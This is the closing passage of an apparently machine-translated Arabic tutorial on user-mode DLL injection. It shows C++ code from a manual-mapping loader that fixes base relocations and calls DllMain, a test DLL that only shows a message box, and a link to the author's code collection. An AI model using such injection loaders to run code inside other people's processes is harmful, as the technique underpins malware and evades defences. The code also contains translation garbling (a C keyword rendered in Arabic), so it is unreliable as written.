FunctionAddress; } } // 2.4 تصحيح جدول إعادة التوجيه DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress; NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew); // UINT_PTR Delta = NewBaseAddress - NtHeader->OptionalHeader.ImageBase; IMAGE_DATA_DIRECTORY BaseRelocDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]); // هل هناك جدول إعادة توجيه if (BaseRelocDataDirectory.Size != 0) { PIMAGE_BASE_RELOCATION BaseRelocation = (PIMAGE_BASE_RELOCATION)((PUINT8)NewBaseAddress + BaseRelocDataDirectory.VirtualAddress); while (BaseRelocation->SizeOfBlock != 0) { typedef struct _IMAGE_RELOC { UINT16 Offset : 12; // الـ 12 علامات السفلى---الموقع UINT16 Type : 4; // الـ 4 علامات العليا---النوع } IMAGE_RELOC, *PIMAGE_RELOC; // تحديد موقع مكتبة الإعادة توجيه PIMAGE_RELOC RelocationBlock = (PIMAGE_RELOC)((PUINT8)BaseRelocation + sizeof(IMAGE_BASE_RELOCATION)); // حـسـاب عدد العناصر المطلوبة للإعادة توجيه UINT32 NumberOfRelocations = (BaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(UINT16); لـ (INT i = 0; i < NumberOfRelocations; i++) { if (RelocationBlock[i].Type == IMAGE_REL_BASED_DIR64) { // 64-bit PUINT64 Address = (PUINT64)((PUINT8)NewBaseAddress + BaseRelocation->VirtualAddress + RelocationBlock[i].Offset); UINT64 Delta = (UINT64)NewBaseAddress - NtHeader->OptionalHeader.ImageBase; *Address += Delta; } else if (RelocationBlock[i].Type == IMAGE_REL_BASED_HIGHLOW) { // 32-bit PUINT32 Address = (PUINT32)((PUINT8)NewBaseAddress + BaseRelocation->VirtualAddress + (RelocationBlock[i].Offset)); UINT32 Delta = (UINT32)NewBaseAddress - NtHeader->OptionalHeader.ImageBase; *Address += Delta; } } // الانتقال إلى جدول التحويل التالي BaseRelocation = (PIMAGE_BASE_RELOCATION)((PUINT8)BaseRelocation + BaseRelocation->SizeOfBlock); } } // الحصول على OEP للمodule UINT_PTR AddressOfEntryPoint = (UINT_PTR)((PUINT8)NewBaseAddress + NtHeader->OptionalHeader.AddressOfEntryPoint); NtFlushInstructionCacheAddress(INVALID_HANDLE_VALUE, NULL, 0); // دعوة من خلال OEP لتشغيل DllMain ((pfnDllMain)AddressOfEntryPoint)((HMODULE)NewBaseAddress, DLL_PROCESS_ATTACH, lParam); /* _asm { int 3; } */ return AddressOfEntryPoint; } // dllmain.cpp : يحدد نقطة الدخول للبرنامج المدمج (DLL) للدليل. #include "stdafx.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxA(0, 0, 0, 0); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
0x09.الإجمال
ربما هناك طرق إدراج Dll في Ring3 لم أتعلمها بعد، والأمر كما يقال، "المسار طويل ومليء بالعقبات، سأبحث عنه إلى الأبد"!
تم تقديم عنوان تحميل الكود: https://github.com/YouArekongqi/InjectCollection.git
ما تم ذكره أعلاه هو ملخص دليل إدراج Dll في طبقة Ring3 x86/x64 الذي قدمه المحرر للجميع، آمل أن يكون مفيدًا لك!
بيان: محتوى هذا المقال تم جمعه من الإنترنت، ملكية المقال للمالك الأصلي، تم جمع المحتوى من قبل المستخدمين على الإنترنت وتم تحميله بشكل تلقائي، هذا الموقع لا يمتلك حقوق الملكية، لم يتم تعديل المحتوى بشكل يدوي، ولا يتحمل هذا الموقع أي مسؤولية قانونية. إذا وجدت محتوى يشتبه في انتهاك حقوق النسخ، فيرجى إرسال بريد إلكتروني إلى: notice#oldtoolbag.com (عند إرسال البريد الإلكتروني، يرجى استبدال # ب @) للإبلاغ، وتقديم الدليل ذات صلة، إذا تم التحقق من ذلك، فإن هذا الموقع سيزيل المحتوى المزعوم بشكل فوري.